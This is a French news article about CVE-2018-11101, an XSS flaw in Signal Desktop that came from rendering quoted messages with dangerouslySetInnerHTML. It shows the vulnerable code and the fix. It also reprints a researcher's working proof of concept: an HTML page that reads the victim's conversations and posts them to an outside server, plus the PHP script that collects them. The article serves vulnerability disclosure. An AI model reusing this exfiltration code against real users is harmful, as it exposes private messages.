On la dit à suffisance, en matière de test de logiciels, l’absence de bogues est une utopie. Signal ne déroge pas à la règle ; les versions desktop antérieures à 1.11.0 (et postérieures à 1.8.0) exhibent une faille qui touche à l’aspect pour lequel on apprécie le plus l’application : la confidentialité des échanges entre utilisateurs. Dans un billet de blog paru il y a peu, le chercheur en sécurité Matt Bryant explique que les versions non patchées de l’application peuvent tomber sous le coup d’attaques XSS. Il suffit, d’après les développements de ce dernier, qu’un attaquant insère du code malicieux HTML/JavaScript au sein d’un message destiné à une victime, puis qu’il réponde au message d’origine avec du texte aléatoire pour que le contenu HTML du message d’origine soit exécuté.
La faille référencée CVE-2018-11101 réside dans un choix de design de l’application. Les développeurs de Signal ont fait usage de la prop React dangerouslySetInnerHTML pour rendre le contenu des messages cités par un utilisateur de l’application.
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 | public renderText() { const { i18n, text, attachments } = this.props; if (text) { return ( <div className="text" dangerouslySetInnerHTML={{ __html: text }} /> ); } ...trimmed for brevity… |
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | @@ -4,6 +4,8 @@ import classnames from 'classnames'; import * as MIME from '../../../ts/types/MIME'; import * as GoogleChrome from '../../../ts/util/GoogleChrome'; +import { MessageBody } from './MessageBody'; + interface Props { attachments: Array<QuotedAttachment>; authorColor: string; @@ -111,7 +113,9 @@ export class Quote extends React.Component<Props, {}> { if (text) { return ( - <div className="text" dangerouslySetInnerHTML={{ __html: text }} /> + <div className="text"> + <MessageBody text={text} /> + </div> ); } |
Toutefois, attention, car les attaquants sont capables d’aller plus loin sur des postes de travail faisant tourner des versions non corrigées de l’application. En effet, en s’inspirant des publications relatives aux failles référencées CVE-2018-11101 et CVE-2018-10994, les chercheurs ont publié une PoC. Elle illustre la possibilité de contourner le chiffrement de l’application pour transmettre (en clair) le contenu des conversations d’une victime vers le poste de travail d’un attaquant. Pour y parvenir, l’attaquant procède en trois étapes.
Primo, il monte un serveur Samba et y place du contenu HTML conçu à dessein et accessible en lecture.
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | <!DOCTYPE html> <html> <head> <meta charset="utf-8"/> <!-- DO NOT USE THIS IN REAL LIFE, IT'S JUST A POC! Be nice, don't hack activists :) by HacKan: https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection-variant-2 under GNU GPL v3.0+ --> </head> <body> <div id="content-8508a212-f263-4266-bea4-08b46dabe70d">Pwoning in process...</div> <script src="https://code.jquery.com/jquery-3.3.1.min.js"></script> <!-- base64js: https://github.com/beatgammit/base64-js/blob/master/base64js.min.js --> <script> (function(r){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=r()}else if(typeof define==="function"&&define.amd){define([],r)}else{var e;if(typeof window!=="undefined"){e=window}else if(typeof global!=="undefined"){e=global}else if(typeof self!=="undefined"){e=self}else{e=this}e.base64js=r()}})(function(){var r,e,n;return function(){function r(e,n,t){function o(f,i){if(!n[f]){if(!e[f]){var u="function"==typeof require&&require;if(!i&&u)return u(f,!0);if(a)return a(f,!0);var v=new Error("Cannot find module '"+f+"'");throw v.code="MODULE_NOT_FOUND",v}var d=n[f]={exports:{}};e[f][0].call(d.exports,function(r){var n=e[f][1][r];return o(n||r)},d,d.exports,r,e,n,t)}return n[f].exports}for(var a="function"==typeof require&&require,f=0;f<t.length;f++)o(t[f]);return o}return r}()({"/":[function(r,e,n){"use strict";n.byteLength=d;n.toByteArray=h;n.fromByteArray=p;var t=[];var o=[];var a=typeof Uint8Array!=="undefined"?Uint8Array:Array;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(var i=0,u=f.length;i<u;++i){t[i]=f[i];o[f.charCodeAt(i)]=i}o["-".charCodeAt(0)]=62;o["_".charCodeAt(0)]=63;function v(r){var e=r.length;if(e%4>0){throw new Error("Invalid string. Length must be a multiple of 4")}var n=r.indexOf("=");if(n===-1)n=e;var t=n===e?0:4-n%4;return[n,t]}function d(r){var e=v(r);var n=e[0];var t=e[1];return(n+t)*3/4-t}function c(r,e,n){return(e+n)*3/4-n}function h(r){var e;var n=v(r);var t=n[0];var f=n[1];var i=new a(c(r,t,f));var u=0;var d=f>0?t-4:t;for(var h=0;h<d;h+=4){e=o[r.charCodeAt(h)]<<18|o[r.charCodeAt(h+1)]<<12|o[r.charCodeAt(h+2)]<<6|o[r.charCodeAt(h+3)];i[u++]=e>>16&255;i[u++]=e>>8&255;i[u++]=e&255}if(f===2){e=o[r.charCodeAt(h)]<<2|o[r.charCodeAt(h+1)]>>4;i[u++]=e&255}if(f===1){e=o[r.charCodeAt(h)]<<10|o[r.charCodeAt(h+1)]<<4|o[r.charCodeAt(h+2)]>>2;i[u++]=e>>8&255;i[u++]=e&255}return i}function s(r){return t[r>>18&63]+t[r>>12&63]+t[r>>6&63]+t[r&63]}function l(r,e,n){var t;var o=[];for(var a=e;a<n;a+=3){t=(r[a]<<16&16711680)+(r[a+1]<<8&65280)+(r[a+2]&255);o.push(s(t))}return o.join("")}function p(r){var e;var n=r.length;var o=n%3;var a=[];var f=16383;for(var i=0,u=n-o;i<u;i+=f){a.push(l(r,i,i+f>u?u:i+f))}if(o===1){e=r[n-1];a.push(t[e>>2]+t[e<<4&63]+"==")}else if(o===2){e=(r[n-2]<<8)+r[n-1];a.push(t[e>>10]+t[e>>4&63]+t[e<<2&63]+"=")}return a.join("")}},{}]},{},[])("/")}); </script> <!-- textencoder: https://github.com/coolaj86/TextEncoderLite/blob/master/text-encoder-lite.min.js --> <script> function TextEncoderLite(){}function TextDecoderLite(){}(function(){'use strict';function utf8ToBytes(a,b){b=b||Infinity;for(var c,d=a.length,e=null,f=[],g=0;g<d;g++){if(c=a.charCodeAt(g),!(55295<c&&57344>c))e&&(-1<(b-=3)&&f.push(239,191,189),e=null);else if(e){if(56320>c){-1<(b-=3)&&f.push(239,191,189),e=c;continue}else c=65536|(e-55296<<10|c-56320),e=null;}else if(56319<c){-1<(b-=3)&&f.push(239,191,189);continue}else if(g+1===d){-1<(b-=3)&&f.push(239,191,189);continue}else{e=c;continue}if(128>c){if(0>(b-=1))break;f.push(c)}else if(2048>c){if(0>(b-=2))break;f.push(192|c>>6,128|63&c)}else if(65536>c){if(0>(b-=3))break;f.push(224|c>>12,128|63&c>>6,128|63&c)}else if(2097152>c){if(0>(b-=4))break;f.push(240|c>>18,128|63&c>>12,128|63&c>>6,128|63&c)}else throw new Error('Invalid code point')}return f}function utf8Slice(a,b,c){var d='',e='';c=Math.min(a.length,c||Infinity),b=b||0;for(var f=b;f<c;f++)127>=a[f]?(d+=decodeUtf8Char(e)+String.fromCharCode(a[f]),e=''):e+='%'+a[f].toString(16);return d+decodeUtf8Char(e)}function decodeUtf8Char(a){try{return decodeURIComponent(a)}catch(b){return String.fromCharCode(65533)}}TextEncoderLite.prototype.encode=function(a){var b;return b='undefined'==typeof Uint8Array?utf8ToBytes(a):new Uint8Array(utf8ToBytes(a)),b},TextDecoderLite.prototype.decode=function(a){return utf8Slice(a,0,a.length)}})(); </script> <script> <!-- // https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#The_Unicode_Problem function Base64Encode(str, encoding = 'utf-8') { var bytes = new (TextEncoder || TextEncoderLite)(encoding).encode(str); return base64js.fromByteArray(bytes); } function postData(url, key, data) { $.post(url, {data: Base64Encode(data), key: key}, function(status) { $('#content-8508a212-f263-4266-bea4-08b46dabe70d').html($('#content-8508a212-f263-4266-bea4-08b46dabe70d').html() + "\nData exfiltrated! You have been PWONED"); }); } $(document).ready(function() { // here's the fastest way I saw to find conversation, although is by far not the best one... var MAX = 10000; for (var i=0; i<MAX; i++) { var conversation = parent.document.getElementById('conversation-c' + i); //$('#content-8508a212-f263-4266-bea4-08b46dabe70d').html('conv: ' + conversation); if (conversation != null) { var data = conversation.innerHTML || 'NO DATA :('; postData( 'https://ivan.barreraoro.com.ar/signal/index.php', 'mchrmhiossrgxhxis', data, ) } } }); --> </script> </body> </html> |
Code : | Sélectionner tout |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | <?php define('DATADIR', 'data_d33c3cfe-c52c-4cff-98ed-caf1d9771320'); define('DATALIMIT', 4000); // unset or 0 for no limit $key = filter_input(INPUT_POST, 'key', FILTER_SANITIZE_STRING); $data = filter_input(INPUT_POST, 'data', FILTER_SANITIZE_STRING); if (!empty($data) and !empty($key) and ($key === 'mchrmhiossrgxhxis')) { if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $data)) { // base64 $data = base64_decode($data); } if (!empty(DATALIMIT) and strlen($data) > DATALIMIT) { $data = substr($data, 0, DATALIMIT); } $filename = date('Y-m-d_Hi') . '_' . bin2hex(random_bytes(5)) . '.txt'; $datafile = DATADIR . '/' . $filename; file_put_contents($datafile, 'Server date: ' . date('Y-m-d H:i:s') . "\nData:\n" . $data . "\n", FILE_APPEND); die('OK'); header('HTTP/1.0 403 Forbidden'); die('<h1>Access denied</h1>'); } |
Sources : hackerblog, barrero1, barrero2
Et vous ?
Le langage JavaScript convient-il pour le développement d’une application de chat sécurisée ?
Des observateurs sont d’avis que c’est le fait que la version desktop de Signal soit développée à l’aide du Framework Electron qui la rend aussi vulnérable. Qu’en pensez-vous ?
La faute dans ce cas ne revient-elle pas plutôt aux auteurs des spécifications DOM ?
Voir aussi :
Quel est l'intérêt d'écrire ou réécrire un logiciel en JavaScript ? Partagez votre expérience
Quelle est l'application mobile la plus sécurisée pour protéger sa vie privée ? Signal remporte le vote d'Edward Snowden, qu'en est-il de vous ?
L'application de messagerie sécurisée Signal se dote d'un nouveau client de bureau indépendant pour Windows, macOS et Linux